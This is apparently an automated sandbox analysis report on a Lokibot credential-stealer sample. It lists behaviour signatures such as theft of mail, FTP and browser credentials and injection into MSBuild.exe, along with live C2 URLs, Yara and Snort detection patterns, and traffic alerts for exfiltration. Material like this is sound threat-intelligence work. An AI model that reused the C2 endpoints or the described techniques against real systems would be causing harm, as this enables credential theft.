Play interactive tour

Edit tour

Windows Analysis Report gunzipped.exe

Overview

General Information

Sample Name:	gunzipped.exe
Analysis ID:	553234
MD5:	a76b143e354a2ac9f363616ff4f8b239
SHA1:	51bb9b6f0c004d4532ae7f83b58554c924f4d3cc
SHA256:	d9bad692a869fdb2d3e9ec678e50f27e2dbe2f1fef185a8480df7eb5562d88f0
Tags:	exeLoki
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Yara detected Lokibot

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected aPLib compressed binary

Tries to harvest and steal ftp login credentials

.NET source code references suspicious native API functions

Tries to steal Mail credentials (via file registry)

Machine Learning detection for sample

Allocates memory in foreign processes

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Enables debug privileges

Sample file is different than original file name gathered from version info

PE file contains strange resources

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

PE / OLE file has an invalid certificate

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

gunzipped.exe (PID: 7116 cmdline: "C:\Users\user\Desktop\gunzipped.exe" MD5: A76B143E354A2AC9F363616FF4F8B239)

MSBuild.exe (PID: 1852 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://jnxxx1.xyz/JRM/w2/fre.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.931659993.0000000000C58000.00000004.00000020.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000003.734712266.0000000000C6F000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13007:$des3: 68 03 66 00 00 0x173f8:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174c4:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x11a4b7:$des3: 68 03 66 00 00 0x11e8c0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x11e98c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: gunzipped.exe PID: 7116	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: gunzipped.exe PID: 7116	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: MSBuild.exe PID: 1852	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: MSBuild.exe PID: 1852	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.0.MSBuild.exe.400000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.5.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.5.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.5.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.5.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.1.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.1.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.1.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.1.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.2.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.2.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.2.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.2.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.2.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.2.MSBuild.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.5.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.5.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.5.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.5.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.3.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.3.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.3.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.3.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.3.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.3.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.3.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.3.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.3.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.0.MSBuild.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.0.MSBuild.exe.400000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.MSBuild.exe.400000.4.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.0.MSBuild.exe.400000.4.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.0.MSBuild.exe.400000.4.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.0.MSBuild.exe.400000.4.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.MSBuild.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.2.MSBuild.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 61 entries

Sigma Overview

System Summary:

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentCommandLine: "C:\Users\user\Desktop\gunzipped.exe" , ParentImage: C:\Users\user\Desktop\gunzipped.exe, ParentProcessId: 7116, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe, ProcessId: 1852

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://jnxxx1.xyz/JRM/w2/fre.php"]}

Antivirus / Scanner detection for submitted sample

Show sources

Source: gunzipped.exe

Avira: detected

Machine Learning detection for sample

Show sources

Source: gunzipped.exe

Joe Sandbox ML: detected

Source: 0.0.gunzipped.exe.3f0000.0.unpack

Avira: Label: TR/Dropper.MSIL.Gen

Source: gunzipped.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: gunzipped.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: .pdbBSJB source: gunzipped.exe, 00000000.00000002.670163943.0000000000A40000.00000004.00020000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49770 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49770 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49770 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.4:49770 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49771 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49771 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49771 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.4:49771 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49772 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49772 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49772 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49772 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49773 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49773 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49773 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49773 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49774 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49774 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49774 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49774 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49775 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49775 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49775 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49775 -> 104.21.60.171:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49776 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49776 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49776 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49776 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49777 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49777 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49777 -> 172.67.198.111:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49777 -> 172.67.198.111:80
